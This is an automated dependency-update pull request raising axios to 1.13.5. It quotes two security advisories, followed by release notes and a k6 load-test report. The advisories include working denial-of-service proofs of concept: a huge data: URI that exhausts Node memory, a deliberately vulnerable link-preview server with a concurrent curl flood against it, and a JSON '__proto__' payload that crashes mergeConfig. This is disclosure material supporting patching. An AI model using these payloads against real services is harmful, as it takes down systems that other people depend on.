Update dependency axios to v1.13.5 [SECURITY]

[openverse-bot]

This PR contains the following updates:

Package	Type	Update	Change
axios (source)	dependencies	minor	1.8.2 -> 1.13.5

GitHub Vulnerability Alerts

CVE-2025-58754

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}

• The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
• It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
• As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @​payload.json -o /dev/null```

---

Suggestions

1. Enforce size limits
   For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

2. Stream decoding
   Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

CVE-2026-25639

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
2. Object.keys() includes '__proto__' in the iteration
3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

• Axios._request() at lib/core/Axios.js:75
• Axios.getUri() at lib/core/Axios.js:201
• All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

1. Clone axios repository or npm install axios
2. Create file poc.mjs with the code above
3. Run: node poc.mjs
4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	{"timeout": 5000}	SUCCESS
Malicious config	JSON.parse('{"__proto__": {"x": 1}}')	CRASH
Nested object	{"headers": {"X-Test": "value"}}	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

• Node.js servers using axios for HTTP requests
• Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

---

Release Notes

axios/axios (axios)

v1.13.5

Compare Source

This release patches a prototype pollution denial-of-service vulnerability, fixes a missing status field regression in AxiosError, adds interceptor ordering control, and introduces URL validation for isAbsoluteURL.

v1.13.4

Compare Source

Patch release fixing regressions introduced in v1.13.3, including TypeScript export compatibility and CI/build stability.

v1.13.3

Compare Source

Bug Fixes

• http2: Use port 443 for HTTPS connections by default. (#​7256) (d7e6065)
• interceptor: handle the error in the same interceptor (#​6269) (5945e40)
• main field in package.json should correspond to cjs artifacts (#​5756) (7373fbf)
• package.json: add 'bun' package.json 'exports' condition. Load the Node.js build in Bun instead of the browser build (#​5754) (b89217e)
• silentJSONParsing=false should throw on invalid JSON (#​7253) (#​7257) (7d19335)
• turn AxiosError into a native error (#​5394) (#​5558) (1c6a86d)
• types: add handlers to AxiosInterceptorManager interface (#​5551) (8d1271b)
• types: restore AxiosError.cause type from unknown to Error (#​7327) (d8233d9)
• unclear error message is thrown when specifying an empty proxy authorization (#​6314) (6ef867e)

Features

• add undefined as a value in AxiosRequestConfig (#​5560) (095033c)
• add automatic minor and patch upgrades to dependabot (#​6053) (65a7584)
• add Node.js coverage script using c8 (closes #​7289) (#​7294) (ec9d94e)
• added copilot instructions (3f83143)
• compatibility with frozen prototypes (#​6265) (860e033)
• enhance pipeFileToResponse with error handling (#​7169) (88d7884)
• types: Intellisense for string literals in a widened union (#​6134) (f73474d), closes /github.com/microsoft/TypeScript/issues/33471#issuecomment-1376364329

Reverts

• Revert "fix: silentJSONParsing=false should throw on invalid JSON (#​7253) (#​7…" (#​7298) (a4230f5), closes #​7253 #​7 #​7298
• deps: bump peter-evans/create-pull-request from 7 to 8 in the github-actions group (#​7334) (2d6ad5e)

Contributors to this release

• Ashvin Tiwari
• Nikunj Mochi
• Anchal Singh
• jasonsaayman
• Julian Dax
• Akash Dhar Dubey
• Madhumita
• Tackoil
• Justin Dhillon
• Rudransh
• WuMingDao
• codenomnom
• Nandan Acharya
• Eric Dubé
• Tibor Pilz
• Gabriel Quaresma
• Turadg Aleahmad
• JohnTitor
• rohit miryala
• Wilson Mun
• techcodie
• Ved Vadnere
• svihpinc
• SANDESH LENDVE
• Lubos
• Jarred Sumner
• Adam Hines
• Subhan Kumar Rai
• Joseph Frazier
• KT0803
• Albie
• Jake Hayes

v1.13.2

Compare Source

Bug Fixes

• http: fix 'socket hang up' bug for keep-alive requests when using timeouts; (#​7206) (8d37233)
• http: use default export for http2 module to support stubs; (#​7196) (0588880)

Performance Improvements

• http: fix early loop exit; (#​7202) (12c314b)

Contributors to this release

• Dmitriy Mozgovoy
• Kasper Isager Dalsgarð

v1.13.1

Compare Source

Bug Fixes

• http: fixed a regression that caused the data stream to be interrupted for responses with non-OK HTTP statuses; (#​7193) (bcd5581)

Contributors to this release

• Anchal Singh
• Dmitriy Mozgovoy

v1.13.0

Compare Source

Bug Fixes

• fetch: prevent TypeError when config.env is undefined (#​7155) (015faec)
• resolve issue #​7131 (added spacing in mergeConfig.js) (#​7133) (9b9ec98)

Features

• http: add HTTP2 support; (#​7150) (d676df7)

Contributors to this release

• Dmitriy Mozgovoy
• Noritaka Kobayashi
• Aviraj2929
• prasoon patel
• Samyak Dandge
• Anchal Singh
• Rahul Kumar
• Amit Verma
• Abhishek3880
• Dhvani Maktuporia
• Usama Ayoub
• ikuy1203
• Nikhil Simon Toppo
• Jane Wangari
• Supakorn Ieamgomol
• Kian-Meng Ang
• UTSUMI Keiji

1.12.2 (2025-09-14)

Bug Fixes

• fetch: use current global fetch instead of cached one when env fetch is not specified to keep MSW support; (#​7030) (cf78825)

Contributors to this release

• Dmitriy Mozgovoy
• Noritaka Kobayashi

1.12.1 (2025-09-12)

Bug Fixes

• types: fixed env config types; (#​7020) (b5f26b7)

Contributors to this release

• Dmitriy Mozgovoy

v1.12.2

Compare Source

Bug Fixes

• fetch: use current global fetch instead of cached one when env fetch is not specified to keep MSW support; (#​7030) (cf78825)

Contributors to this release

• Dmitriy Mozgovoy
• Noritaka Kobayashi

v1.12.1

Compare Source

Bug Fixes

• types: fixed env config types; (#​7020) (b5f26b7)

Contributors to this release

• Dmitriy Mozgovoy

v1.12.0

Compare Source

Bug Fixes

• adding build artifacts (9ec86de)
• dont add dist on release (a2edc36)
• fetch-adapter: set correct Content-Type for Node FormData (#​6998) (a9f47af)
• node: enforce maxContentLength for data: URLs (#​7011) (945435f)
• package exports (#​5627) (aa78ac2)
• params: removing '[' and ']' from URL encode exclude characters (#​3316) (#​5715) (6d84189)
• release pr run (fd7f404)
• types: change the type guard on isCancel (#​5595) (0dbb7fd)

Features

• adapter: surface low‑level network error details; attach original error via cause (#​6982) (78b290c)
• fetch: add fetch, Request, Response env config variables for the adapter; (#​7003) (c959ff2)
• support reviver on JSON.parse (#​5926) (2a97634), closes #​5924
• types: extend AxiosResponse interface to include custom headers type (#​6782) (7960d34)

Contributors to this release

• Willian Agostini
• Dmitriy Mozgovoy
• khani
• Ameer Assadi
• Emiedonmokumo Dick-Boro
• Zeroday BYTE
• Jason Saayman
• 최예찬
• Gligor Kotushevski
• Aleksandar Dimitrov

v1.11.0

Compare Source

Bug Fixes

• form-data npm package (#​6970) (e72c193)
• prevent RangeError when using large Buffers (#​6961) (a2214ca)
• types: resolve type discrepancies between ESM and CJS TypeScript declaration files (#​6956) (8517aa1)

Contributors to this release

• izzy goldman
• Manish Sahani
• Noritaka Kobayashi
• James Nail
• Tejaswi1305

v1.10.0

Compare Source

Bug Fixes

• adapter: pass fetchOptions to fetch function (#​6883) (0f50af8)
• form-data: convert boolean values to strings in FormData serialization (#​6917) (5064b10)
• package: add module entry point for React Native; (#​6933) (3d343b8)

Features

• types: improved fetchOptions interface (#​6867) (63f1fce)

Contributors to this release

• Dmitriy Mozgovoy
• Noritaka Kobayashi
• Dimitrios Lazanas
• Adrian Knapp
• Howie Zhao
• Uhyeon Park
• Sampo Silvennoinen

v1.9.0

Compare Source

Bug Fixes

• core: fix the Axios constructor implementation to treat the config argument as optional; (#​6881) (6c5d4cd)
• fetch: fixed ERR_NETWORK mapping for Safari browsers; (#​6767) (dfe8411)
• headers: allow iterable objects to be a data source for the set method; (#​6873) (1b1f9cc)
• headers: fix getSetCookie by using 'get' method for caseless access; (#​6874) (d4f7df4)
• headers: fixed support for setting multiple header values from an iterated source; (#​6885) (f7a3b5e)
• http: send minimal end multipart boundary (#​6661) (987d2e2)
• types: fix autocomplete for adapter config (#​6855) (e61a893)

Features

• AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#​5707) (80ea756)

Contributors to this release

• Dmitriy Mozgovoy
• Jay
• Willian Agostini
• George Cheng
• FatahChan
• Ionuț G. Stan

1.8.4 (2025-03-19)

Bug Fixes

• buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)

Contributors to this release

• Marc Hassan

1.8.3 (2025-03-10)

Bug Fixes

• add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
• xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)

Contributors to this release

• Ashcon Partovi
• StefanBRas
• Marc Hassan

1.8.2 (2025-03-07)

Bug Fixes

• http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)

Contributors to this release

• Fasoro-Joseph Alexander

1.8.1 (2025-02-26)

Bug Fixes

• utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)

Contributors to this release

• Dmitriy Mozgovoy

v1.8.4

Compare Source

Bug Fixes

• buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)

Contributors to this release

• Marc Hassan

v1.8.3

Compare Source

Bug Fixes

• add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
• xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)

Contributors to this release

• Ashcon Partovi
• StefanBRas
• Marc Hassan

---

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---

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[github-actions]

Latest k6 run output¹

     ✓ status was 200

     checks.........................: 100.00% ✓ 410      ✗ 0   
     data_received..................: 94 MB   389 kB/s
     data_sent......................: 130 kB  542 B/s
     http_req_blocked...............: avg=94.93µs  min=2.47µs   med=4.93µs   max=2.52ms   p(90)=201.64µs p(95)=782.87µs
     http_req_connecting............: avg=45.47µs  min=0s       med=0s       max=2.47ms   p(90)=93.42µs  p(95)=182.66µs
     http_req_duration..............: avg=155.56ms min=15.65ms  med=99.11ms  max=1.02s    p(90)=376.42ms p(95)=454.48ms
       { expected_response:true }...: avg=155.56ms min=15.65ms  med=99.11ms  max=1.02s    p(90)=376.42ms p(95)=454.48ms
   ✓ http_req_failed................: 0.00%   ✓ 0        ✗ 410 
     http_req_receiving.............: avg=181.02µs min=53µs     med=151.65µs max=3.56ms   p(90)=253.19µs p(95)=328.92µs
     http_req_sending...............: avg=30.13µs  min=8.83µs   med=25.13µs  max=849.19µs p(90)=45.02µs  p(95)=58.82µs 
     http_req_tls_handshaking.......: avg=0s       min=0s       med=0s       max=0s       p(90)=0s       p(95)=0s      
     http_req_waiting...............: avg=155.35ms min=15.49ms  med=98.9ms   max=1.02s    p(90)=376.17ms p(95)=454.24ms
     http_reqs......................: 410     1.702063/s
     iteration_duration.............: avg=835.57ms min=270.22ms med=883.42ms max=1.75s    p(90)=1.18s    p(95)=1.25s   
     iterations.....................: 77      0.319656/s
     vus............................: 2       min=0      max=6 
     vus_max........................: 60      min=60     max=60

Footnotes

1. This comment will automatically update with new output each time k6 runs for this PR ↩